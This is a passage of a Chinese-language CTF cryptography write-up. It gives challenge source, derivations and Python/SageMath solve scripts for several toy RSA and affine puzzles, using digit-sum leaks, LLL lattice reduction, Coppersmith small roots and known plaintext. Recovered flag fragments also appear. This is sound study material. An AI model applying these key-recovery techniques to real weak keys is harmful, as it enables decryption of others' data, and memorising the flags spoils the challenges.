            sum -= digit
        else:
            sum += digit
        m = m // p
        round += 1
    return sum // 2025


e = 65537
p = getPrime(256)
q = getPrime(256)
n = p*q

m1 = getRandomNBitInteger(2048)
m2 = getRandomNBitInteger(2048)
sum1 = gen_rev_sum(m1, p)
sum2 = gen_rev_sum(m2, p)

flag = &quot;flag{--------------------------}&quot;
m = bytes_to_long(flag.encode())

print(&quot;m1 =&quot;,m1)
print(&quot;m2 =&quot;,m2)
print(&quot;sum1 =&quot;,sum1)
print(&quot;sum2 =&quot;,sum2)
print(&quot;n =&quot;,n)
print(&quot;c =&quot;,pow(m,e,n))

&apos;&apos;&apos;
m1 = 
m2 = 
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282
n = 
c = 
e = 65537
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;1. 源码逻辑审计&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目提供了一个函数 &lt;code&gt;gen_rev_sum(m, p)&lt;/code&gt;，其逻辑如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;将整数 $m$ 按照 $p$ 进制展开：$m = d_0 + d_1 p + d_2 p^2 + \dots$&lt;/li&gt;
&lt;li&gt;计算一个累加和 &lt;code&gt;sum&lt;/code&gt;：
&lt;ul&gt;
&lt;li&gt;第 0 轮（偶数轮）：&lt;code&gt;sum -= d0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第 1 轮（奇数轮）：&lt;code&gt;sum += d1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;第 2 轮（偶数轮）：&lt;code&gt;sum -= d2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最终返回 &lt;code&gt;sum // 2025&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;数学上，这个 sum 可以表示为：$$S = -d_0 + d_1 - d_2 + d_3 - \dots = \sum (-1)^{i+1} d_i$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 数学推导&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们要利用 $p$ 进制的性质。定义多项式 $M(x) = \sum d_i x^i$，那么 $m = M(p)$。&lt;/p&gt;
&lt;p&gt;考虑 $M(-1)$ 的值：$$M(-1) = d_0 - d_1 + d_2 - d_3 + \dots = -(-d_0 + d_1 - d_2 + \dots) = -S$$&lt;/p&gt;
&lt;p&gt;根据同余性质，$a \equiv b \pmod k \implies P(a) \equiv P(b) \pmod k$。&lt;/p&gt;
&lt;p&gt;我们取模 $p+1$。因为 $p \equiv -1 \pmod{p+1}$，所以：$$M(p) \equiv M(-1) \pmod{p+1}$$&lt;/p&gt;
&lt;p&gt;代入 $m$ 和 $S$：$$m \equiv -S \pmod{p+1}$$&lt;/p&gt;
&lt;p&gt;移项得：$$m + S \equiv 0 \pmod{p+1}$$&lt;/p&gt;
&lt;p&gt;这意味着 $m + S$ 是 $p+1$ 的倍数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 攻击方案&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出了 sum1 和 sum2，它们是原始 $S$ 除以 2025 后的整除结果。&lt;/p&gt;
&lt;p&gt;令 $S_1$ 为 $m_1$ 对应的真实和，$S_2$ 为 $m_2$ 对应的真实和。&lt;/p&gt;
&lt;p&gt;根据整除的定义：&lt;/p&gt;
&lt;p&gt;$$S_1 = 2025 \times \text{sum1} + r_1, \quad 0 \le r_1 &amp;lt; 2025$$&lt;/p&gt;
&lt;p&gt;$$S_2 = 2025 \times \text{sum2} + r_2, \quad 0 \le r_2 &amp;lt; 2025$$&lt;/p&gt;
&lt;p&gt;结合前面的推导，我们有：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$m_1 + (2025 \times \text{sum1} + r_1)$ 是 $p+1$ 的倍数。&lt;/li&gt;
&lt;li&gt;$m_2 + (2025 \times \text{sum2} + r_2)$ 是 $p+1$ 的倍数。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此，$p+1$ 一定是这两个数的公约数。&lt;/p&gt;
&lt;p&gt;我们可以爆破 $r_1$ 和 $r_2$（范围 0 到 2024），计算：&lt;/p&gt;
&lt;p&gt;$$G = \text{GCD}(m_1 + 2025 \cdot \text{sum1} + r_1, ; m_2 + 2025 \cdot \text{sum2} + r_2)$$&lt;/p&gt;
&lt;p&gt;由于 $p$ 是 256 位的大素数，$p+1$ 也非常大。如果我们在爆破过程中发现某个 $G$ 的比特数接近或超过 256 位，那么这个 $G$ 很可能就是 $p+1$（或者是 $p+1$ 的倍数）。找到 $p$ 后，即可计算 $q = n // p$，进而解密 RSA。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import math

# 题目数据
n = 
c = 
e = 65537
m1 = 
m2 = 
sum1 = -108877560874638575191632670246326227208412819991287356983577291185528002487
sum2 = -47122048431044787786292644180145597499319125719652288525187634667738055282

# 预计算基准值
# m + S = k * (p+1)
# S = 2025 * sum + r
A_base = m1 + 2025 * sum1
B_base = m2 + 2025 * sum2

print(&quot;[*] 开始爆破 r1 和 r2 (0-2024)...&quot;)

found_p = None

for r1 in range(2025):
    val1 = A_base + r1
    if r1 % 500 == 0:
        print(f&quot;[*] 正在检查 r1 = {r1} ...&quot;)

    for r2 in range(2025):
        val2 = B_base + r2
        g = math.gcd(val1, val2)
        if g.bit_length() &amp;gt; 250:
            for k in range(1, 101):
                if g % k == 0:
                    cand_p = (g // k) - 1
                    if cand_p &amp;gt; 1 and n % cand_p == 0:
                        found_p = cand_p
                        print(f&quot;[+] 找到 p!&quot;)
                        print(f&quot; r1: {r1}&quot;)
                        print(f&quot; r2: {r2}&quot;)
                        print(f&quot; k : {k}&quot;)
                        print(f&quot; p : {found_p}&quot;)
                        break
        if found_p: break
    if found_p: break

if found_p:
    p = found_p
    q = n // p
    
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    
    m_int = pow(c, d, n)
    flag = long_to_bytes(m_int)
    print(f&quot;\n[+] Flag: {flag.decode()}&quot;)
else:
    print(&quot;[-] 未能找到 p，请检查逻辑。&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Where&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
import random

flag = &quot;flag{_______________________________}&quot;
m = bin(bytes_to_long(flag.encode()))[2:]
p = getPrime(300)
q = getPrime(300)
n = p * q

R.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(n))

def gen(m):
    C = []
    for bit in m:
        if bit == &apos;0&apos;:
            C.append(random.randint(1, n-1))
        else:
            x = random.randint(1, 2^80)
            y = random.randint(1, p-1)
            val = 65537 + x*(1-x) +(q - x)*y + (y + x)*(q + x)
            C.append(R(val))
    return C

c = gen(m)
print(f&quot;n = {n}&quot;)
print(f&quot;c = {c}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;加密逻辑&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;题目生成了两个 300 位的素数 $p, q$，并计算 $n = p \times q$。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将 Flag 转换为二进制流。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;如果是 &apos;0&apos;&lt;/strong&gt;：密文 $c_i$ 是一个模 $n$ 的随机数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;如果是 &apos;1&apos;：密文 $c_i$ 通过以下公式计算：&lt;/p&gt;
&lt;p&gt;$$c_i \equiv 65537 + x(1-x) + (q-x)y + (y+x)(q+x) \pmod n$$&lt;/p&gt;
&lt;p&gt;其中 $x$ 是 80 位的随机数，$y$ 是模 $p$ 的随机数。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;公式化简：&lt;/p&gt;
&lt;p&gt;让我们展开比特 &apos;1&apos; 对应的加密公式（在整数域上，或者模 $n$）：&lt;/p&gt;
&lt;p&gt;$$\begin{aligned} \text{val} &amp;amp;= 65537 + x - x^2 + qy - xy + yq + yx + xq + x^2 \           &amp;amp;= 65537 + x + (qy - xy + yx + yq + xq) \           &amp;amp;= 65537 + x + 2qy + xq \           &amp;amp;= 65537 + x + q(2y + x) \end{aligned}$$&lt;/p&gt;
&lt;p&gt;令 $V_i = c_i - 65537$。&lt;/p&gt;
&lt;p&gt;对于比特 &apos;1&apos;，我们有：$$V_i = x_i + q(2y_i + x_i)$$&lt;/p&gt;
&lt;p&gt;这意味着：$$V_i \equiv x_i \pmod q$$&lt;/p&gt;
&lt;p&gt;由于 $x_i$ 只有 80 位，而 $q$ 是 300 位，这意味着 $V_i$ 模 $q$ 的余数非常小。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;攻击思路&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这是一个典型的 &lt;strong&gt;Hidden Number Problem (HNP)&lt;/strong&gt; 或 &lt;strong&gt;Approximate GCD&lt;/strong&gt; 问题的变体。&lt;/li&gt;
&lt;li&gt;对于比特 &apos;0&apos;，$c_i$ 是随机的，不满足上述性质。&lt;/li&gt;
&lt;li&gt;对于比特 &apos;1&apos;，$V_i$ 是 $q$ 的倍数加上一个“小”的噪音 $x_i$。同时我们知道 $n$ 也是 $q$ 的倍数（噪音为 0）。&lt;/li&gt;
&lt;li&gt;Flag 格式通常为 &lt;code&gt;flag{...}&lt;/code&gt;。字符 &apos;f&apos; 的 ASCII 码是 102，二进制为 &lt;code&gt;1100110&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;因此，密文的前两项 $c[0]$ 和 $c[1]$ 对应比特 &apos;1&apos;。&lt;/li&gt;
&lt;li&gt;我们可以利用 $n, c[0], c[1]$ 构建格（Lattice），使用 LLL 算法求出公共因子 $p$（或者 $q$）。一旦知道了 $p$ 和 $q$，我们就可以通过检查 $c_i - 65537 \pmod q$ 是否很小来区分 &apos;0&apos; 和 &apos;1&apos;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;import re
from Crypto.Util.number import long_to_bytes
from sage.all import Matrix, ZZ

def solve():
    try:
        with open(&quot;output.txt&quot;, &quot;r&quot;) as f:
            content = f.read()
            n = int(re.search(r&quot;n = (\d+)&quot;, content).group(1))
            c_str = re.search(r&quot;c = \[(.*?)\]&quot;, content, re.DOTALL).group(1)
            c = [int(x) for x in c_str.split(&apos;,&apos;)]
    except Exception as e:
        print(&quot;[-] Error reading output.txt. Make sure the file exists.&quot;)
        return

    print(f&quot;[*] Loaded n (approx {n.bit_length()} bits)&quot;)
    print(f&quot;[*] Loaded {len(c)} ciphertexts&quot;)
    
    offset = 65537
    v0 = c[0] - offset
    v1 = c[1] - offset
    W = 2**80 

    M = Matrix(ZZ, [
        [n,  0, 0],
        [0,  n, 0],
        [v0, v1, W]
    ])
    
    print(&quot;[*] Running LLL...&quot;)
    L = M.LLL()
    
    p = 0
    # 遍历 LLL 结果寻找 p
    for row in L:
        # 最后一列是 p * W
        possible_p = abs(row[2]) // W
        if possible_p &amp;gt; 1 and n % possible_p == 0:
            p = possible_p
            print(f&quot;[+] Found factor p: {p}&quot;)
            break
            
    if p == 0:
        print(&quot;[-] Failed to find p&quot;)
        return

    q = n // p
    
    m_bits = &quot;&quot;
    for val in c:
        check = (val - offset) % q
        # x 是 80 bits
        if check &amp;lt; 2**81: # Changed ^ to ** for Python compatibility
            m_bits += &quot;1&quot;
        else:
            m_bits += &quot;0&quot;

    try:
        flag_int = int(m_bits, 2)
        flag = long_to_bytes(flag_int)
        print(f&quot;[+] Flag: {flag.decode()}&quot;)
    except Exception as e:
        print(f&quot;[!] Decoding failed: {e}&quot;)
        print(f&quot;[!] Raw bits: {m_bits}&quot;)

if __name__ == &quot;__main__&quot;:
    solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;StillRSA&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *


def gen():
    while(1):
        p1 = getPrime(128)
        p2 = getPrime(512)
        q2 = getPrime(512)
        s = q2 &amp;amp; ((1 &amp;lt;&amp;lt; 56) - 1)
        q1 = 2 * p1 + s
        r1 = 2 * q1 + s
        if is_prime(q1) and is_prime(r1):
            n1 = p1 * q1 * r1
            n2 = p2 * q2
            break
    return n1,n2,p1,p2


n1,n2, p1, p2 = gen()
e = 65537

flag = &quot;flag{---------------------------------------}&quot;.encode()
m1 = bytes_to_long(flag[: (len(flag)+1) // 2])
m2 = bytes_to_long(flag[(len(flag)+1) // 2 :])

c1 = powmod(m1, e, n1)
c2 = powmod(m2, e, n2)

gift = p2 &amp;gt;&amp;gt; 262

print(f&quot;e = {e}&quot;)
print(f&quot;n1 = {n1}&quot;)
print(f&quot;n2 = {n2}&quot;)
print(f&quot;c1 = {c1}&quot;)
print(f&quot;c2 = {c2}&quot;)
print(f&quot;p1 = {p1}&quot;)
print(f&quot;gift = {gift}&quot;)

&apos;&apos;&apos;
e = 
n1 = 
n2 = 
c1 = 
c2 = 
p1 = 
gift = 
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;题目分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目提供了一个 Python 脚本 &lt;code&gt;stillRSA.py&lt;/code&gt;，其中包含：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;密钥生成函数 &lt;code&gt;gen()&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;加密过程：Flag 被切分为两部分 &lt;code&gt;m1&lt;/code&gt; 和 &lt;code&gt;m2&lt;/code&gt;，分别用 &lt;code&gt;(n1, e)&lt;/code&gt; 和 &lt;code&gt;(n2, e)&lt;/code&gt; 加密得到 &lt;code&gt;c1&lt;/code&gt; 和 &lt;code&gt;c2&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;已知信息：&lt;code&gt;e&lt;/code&gt;, &lt;code&gt;n1&lt;/code&gt;, &lt;code&gt;n2&lt;/code&gt;, &lt;code&gt;c1&lt;/code&gt;, &lt;code&gt;c2&lt;/code&gt;, &lt;code&gt;p1&lt;/code&gt;, &lt;code&gt;gift&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;我们需要分别攻破 &lt;code&gt;n1&lt;/code&gt; 和 &lt;code&gt;n2&lt;/code&gt; 的体系来恢复 &lt;code&gt;m1&lt;/code&gt; 和 &lt;code&gt;m2&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一部分：恢复 m1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 漏洞分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;观察 &lt;code&gt;gen()&lt;/code&gt; 函数中生成 &lt;code&gt;n1&lt;/code&gt; 的部分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p1 = getPrime(128)
# ...
s = q2 &amp;amp; ((1 &amp;lt;&amp;lt; 56) - 1)  # s 是一个 56 位的随机数 (q2 的低位)
q1 = 2 * p1 + s
r1 = 2 * q1 + s
# ...
n1 = p1 * q1 * r1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们已知 &lt;code&gt;n1&lt;/code&gt; 和 &lt;code&gt;p1&lt;/code&gt;。
由代码可知，&lt;code&gt;q1&lt;/code&gt; 和 &lt;code&gt;r1&lt;/code&gt; 都线性依赖于 &lt;code&gt;p1&lt;/code&gt; 和一个未知数 &lt;code&gt;s&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;我们可以推导 &lt;code&gt;r1&lt;/code&gt; 关于 &lt;code&gt;p1&lt;/code&gt; 和 &lt;code&gt;s&lt;/code&gt; 的表达式：
$$ r1 = 2(2p_1 + s) + s = 4p_1 + 3s $$&lt;/p&gt;
&lt;p&gt;将 &lt;code&gt;q1&lt;/code&gt; 和 &lt;code&gt;r1&lt;/code&gt; 代入 &lt;code&gt;n1&lt;/code&gt; 的公式：
$$ n1 = p_1 \cdot (2p_1 + s) \cdot (4p_1 + 3s) $$&lt;/p&gt;
&lt;p&gt;因为 &lt;code&gt;p1&lt;/code&gt; 已知，我们可以计算 $K = n1 / p1$：
$$ K = (2p_1 + s)(4p_1 + 3s) $$
$$ K = 8p_1^2 + 6p_1s + 4p_1s + 3s^2 $$
$$ K = 8p_1^2 + 10p_1s + 3s^2 $$&lt;/p&gt;
&lt;p&gt;整理得到关于 &lt;code&gt;s&lt;/code&gt; 的一元二次方程：
$$ 3s^2 + 10p_1s + (8p_1^2 - K) = 0 $$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 求解 s&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是一个标准的二次方程 $as^2 + bs + c = 0$，其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$a = 3$&lt;/li&gt;
&lt;li&gt;$b = 10p_1$&lt;/li&gt;
&lt;li&gt;$c = 8p_1^2 - K$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;利用求根公式 $s = \frac{-b + \sqrt{b^2 - 4ac}}{2a}$ 即可解出 &lt;code&gt;s&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 解密 m1&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;求出 &lt;code&gt;s&lt;/code&gt; 后，即可计算：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$q_1 = 2p_1 + s$&lt;/li&gt;
&lt;li&gt;$r_1 = 2q_1 + s$&lt;/li&gt;
&lt;li&gt;$\phi(n_1) = (p_1-1)(q_1-1)(r_1-1)$&lt;/li&gt;
&lt;li&gt;$d_1 = e^{-1} \pmod{\phi(n_1)}$&lt;/li&gt;
&lt;li&gt;$m_1 = c_1^{d_1} \pmod{n_1}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;/strong&gt;:
解密得到 &lt;code&gt;m1&lt;/code&gt; 为 &lt;code&gt;flag{Im_a_fw_that_only_&lt;/code&gt;。
同时得到 &lt;code&gt;s = 9552164980988953&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二部分：恢复 m2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. 漏洞分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;观察 &lt;code&gt;gen()&lt;/code&gt; 函数中生成 &lt;code&gt;n2&lt;/code&gt; 的部分：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;p2 = getPrime(512)
q2 = getPrime(512)
s = q2 &amp;amp; ((1 &amp;lt;&amp;lt; 56) - 1)  # s 是 q2 的低 56 位
# ...
n2 = p2 * q2
# ...
gift = p2 &amp;gt;&amp;gt; 262          # gift 是 p2 的高位 (512 - 262 = 250 位)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们需要分解 &lt;code&gt;n2&lt;/code&gt; 得到 &lt;code&gt;p2&lt;/code&gt;。已知信息如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;p2 的高位&lt;/strong&gt;: 由 &lt;code&gt;gift&lt;/code&gt; 给出。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;p2 的低位&lt;/strong&gt;: 可以通过 &lt;code&gt;s&lt;/code&gt; 推导。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;推导 p2 低位&lt;/strong&gt;:
由 &lt;code&gt;s = q2 &amp;amp; ((1 &amp;lt;&amp;lt; 56) - 1)&lt;/code&gt; 可知：
$$ q_2 \equiv s \pmod{2^{56}} $$
因为 $n_2 = p_2 \cdot q_2$，所以：
$$ n_2 \equiv p_2 \cdot s \pmod{2^{56}} $$
$$ p_2 \equiv n_2 \cdot s^{-1} \pmod{2^{56}} $$&lt;/p&gt;
&lt;p&gt;令 &lt;code&gt;p2_low&lt;/code&gt; 为计算出的 &lt;code&gt;p2&lt;/code&gt; 低 56 位。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;p2 的结构&lt;/strong&gt;:
$$ p_2 = (\text{gift} \times 2^{262}) + (x \times 2^{56}) + \text{p2_low} $$
其中 $x$ 是中间未知的比特部分。
已知 &lt;code&gt;p2&lt;/code&gt; 是 512 位，&lt;code&gt;gift&lt;/code&gt; 覆盖了高 250 位，&lt;code&gt;p2_low&lt;/code&gt; 覆盖了低 56 位。
中间未知部分 $x$ 的长度约为 $512 - 250 - 56 = 206$ 位。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Coppersmith 攻击&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这是一个典型的已知部分私钥位的 RSA 攻击问题（Coppersmith&apos;s Attack）。我们可以构造一个多项式 $f(x)$，使得 $p_2$ 是它的一个小根。&lt;/p&gt;
&lt;p&gt;构造多项式：
$$ f(x) = (\text{gift} \cdot 2^{262} + \text{p2_low}) + x \cdot 2^{56} \pmod{n_2} $$&lt;/p&gt;
&lt;p&gt;我们需要找到 $x_0$，使得 $f(x_0) \equiv 0 \pmod{p_2}$。
由于 $p_2$ 是 $n_2$ 的因子，且 $x_0$ 相对较小 ($2^{206} &amp;lt; n_2^{0.25}$)，我们可以使用格基规约（LLL算法）来求解。在 SageMath 中可以使用 &lt;code&gt;small_roots&lt;/code&gt; 方法。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. SageMath 求解脚本&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了使 &lt;code&gt;small_roots&lt;/code&gt; 成功，我们需要调整参数。经过测试，&lt;code&gt;beta=0.48&lt;/code&gt; 和 &lt;code&gt;epsilon=0.02&lt;/code&gt; 可以成功找到根。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 关键 SageMath 代码片段
P.&amp;lt;x&amp;gt; = PolynomialRing(Zmod(n2))
# 将 f(x) 变为首一多项式 (monic) 更有利于求解
inv_2_56 = inverse_mod(2^56, n2)
c0 = ((gift &amp;lt;&amp;lt; 262) + p2_low) * inv_2_56
f = x + c0

# 求解
roots = f.small_roots(X=2^208, beta=0.48, epsilon=0.02)
x0 = roots[0]
p2 = (gift &amp;lt;&amp;lt; 262) + (Integer(x0) &amp;lt;&amp;lt; 56) + p2_low
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. 解密 m2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;分解出 &lt;code&gt;p2&lt;/code&gt; 后：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$q_2 = n_2 / p_2$&lt;/li&gt;
&lt;li&gt;$\phi(n_2) = (p_2-1)(q_2-1)$&lt;/li&gt;
&lt;li&gt;$d_2 = e^{-1} \pmod{\phi(n_2)}$&lt;/li&gt;
&lt;li&gt;$m_2 = c_2^{d_2} \pmod{n_2}$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;/strong&gt;:
解密得到 &lt;code&gt;m2&lt;/code&gt; 为 &lt;code&gt;crafts_RSA_challenges}&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;Sign_in&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
import random

get_context().precision = 2048

L = 5
S = getPrime(144)
a = getPrime(32)
b = random.randint(0, S - 1)

def split_and_pad_single_char_rule(msg, L):
    segments = []
    assert L &amp;gt;= 1
    pad_len = L - 1
    for char_idx, char_byte in enumerate(msg):
        char_ascii = char_byte
        pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)])
        seg_bytes = bytes([char_byte]) + pad_bytes
        segments.append(bytes_to_long(seg_bytes))
    return segments

def encrypt_segment(m_i, a, b, M):
    return (a * m_i + b) % M

flag = &quot;flag{___________________}&quot;
msg_bytes = flag.encode()
m_segments = split_and_pad_single_char_rule(msg_bytes, L)
c_segments = [encrypt_segment(mi, a, b, S) for mi in m_segments]

print(f&quot;a = {a}&quot;)
print(f&quot;S = {S}&quot;)
print(f&quot;L = {L}&quot;)
print(f&quot;C = {c_segments}&quot;)
print(f&apos;M = {m_segments}&apos;)

&apos;&apos;&apos;
a = 
S = 
L = 
C = 
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;填充规则 (Padding)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;代码定义了一个函数 &lt;code&gt;split_and_pad_single_char_rule(msg, L)&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于消息中的每一个字符 &lt;code&gt;char_byte&lt;/code&gt;：
&lt;ul&gt;
&lt;li&gt;它会生成 &lt;code&gt;L-1&lt;/code&gt; 个填充字节。&lt;/li&gt;
&lt;li&gt;填充规则是：&lt;code&gt;pad_bytes[i] = (char_ascii + i + 1) % 256&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;最后将原始字符和填充字节拼接成一个长度为 &lt;code&gt;L&lt;/code&gt; 的字节串。&lt;/li&gt;
&lt;li&gt;使用 &lt;code&gt;bytes_to_long&lt;/code&gt; 将其转换为大整数。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这意味着每个明文块 $m_i$ 实际上只包含一个有意义的字符信息，其余是由该字符确定的填充。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 加密算法&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;加密函数 &lt;code&gt;encrypt_segment(m_i, a, b, M)&lt;/code&gt; 使用了线性同余（仿射变换）的方式：
$$ C_i \equiv (a \cdot m_i + b) \pmod S $$&lt;/p&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$a$ 是一个 32 位的素数（题目已给出具体值）。&lt;/li&gt;
&lt;li&gt;$S$ 是一个 144 位的素数（题目已给出具体值）。&lt;/li&gt;
&lt;li&gt;$b$ 是一个随机整数 $0 \le b &amp;lt; S$（&lt;strong&gt;未知&lt;/strong&gt;，题目未直接给出）。&lt;/li&gt;
&lt;li&gt;$m_i$ 是经过填充后的明文块整数。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. 已知信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目输出了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$a = 3517115977$&lt;/li&gt;
&lt;li&gt;$S = 13338196046628817705384101887069807236659077$&lt;/li&gt;
&lt;li&gt;$L = 5$&lt;/li&gt;
&lt;li&gt;密文列表 $C = [c_0, c_1, ..., c_n]$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;步骤一：恢复未知参数 $b$&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;虽然 $b$ 是随机生成的，但加密过程对于所有字符块使用的是同一个 $b$。
这是一个典型的&lt;strong&gt;已知明文攻击 (Known Plaintext Attack)&lt;/strong&gt; 场景。&lt;/p&gt;
&lt;p&gt;我们知道 flag 的格式通常为 &lt;code&gt;flag{...}&lt;/code&gt;。因此，明文的第一个字符一定是 &lt;code&gt;&apos;f&apos;&lt;/code&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;根据题目中的 padding 规则，我们可以计算出字符 &lt;code&gt;&apos;f&apos;&lt;/code&gt; 对应的明文整数 $m_0$。&lt;/li&gt;
&lt;li&gt;我们拥有对应的密文 $c_0$（即列表 &lt;code&gt;C&lt;/code&gt; 中的第一个元素）。&lt;/li&gt;
&lt;li&gt;根据加密公式 $c_0 \equiv (a \cdot m_0 + b) \pmod S$，我们可以推导出：
$$ b \equiv (c_0 - a \cdot m_0) \pmod S $$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;步骤二：解密所有片段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;一旦我们恢复了 $b$，我们就拥有了完整的私钥 $(a, b, S)$。
对于任意密文 $c_i$，解密公式为：
$$ m_i \equiv a^{-1} \cdot (c_i - b) \pmod S $$&lt;/p&gt;
&lt;p&gt;其中 $a^{-1}$ 是 $a$ 模 $S$ 的乘法逆元。&lt;/p&gt;
&lt;p&gt;计算出 $m_i$ 后，将其转换回字节串。根据 padding 规则，字节串的第一个字节即为原始的明文字符。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Exp&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import bytes_to_long, long_to_bytes

# 题目给出的参数
a = 3517115977
S = 13338196046628817705384101887069807236659077
L = 5
C = [
    6399813929853868574459915097120849511644924, 6399813929853868574460006087942330564102834, 
    6399813929853868574459839271436281967929999, 6399813929853868574459930262257763020387909, 
    6399813929853868574460233564996033195247609, 6399813929853868574460112243900725125303729, 
    6399813929853868574459111344864433548266719, 6399813929853868574459930262257763020387909, 
    6399813929853868574460036418216157581588804, 6399813929853868574459808941162454950444029, 
    6399813929853868574459111344864433548266719, 6399813929853868574460036418216157581588804, 
    6399813929853868574459808941162454950444029, 6399813929853868574460127409037638634046714, 
    6399813929853868574459096179727520039523734, 6399813929853868574459930262257763020387909, 
    6399813929853868574459899931983936002901939, 6399813929853868574460127409037638634046714, 
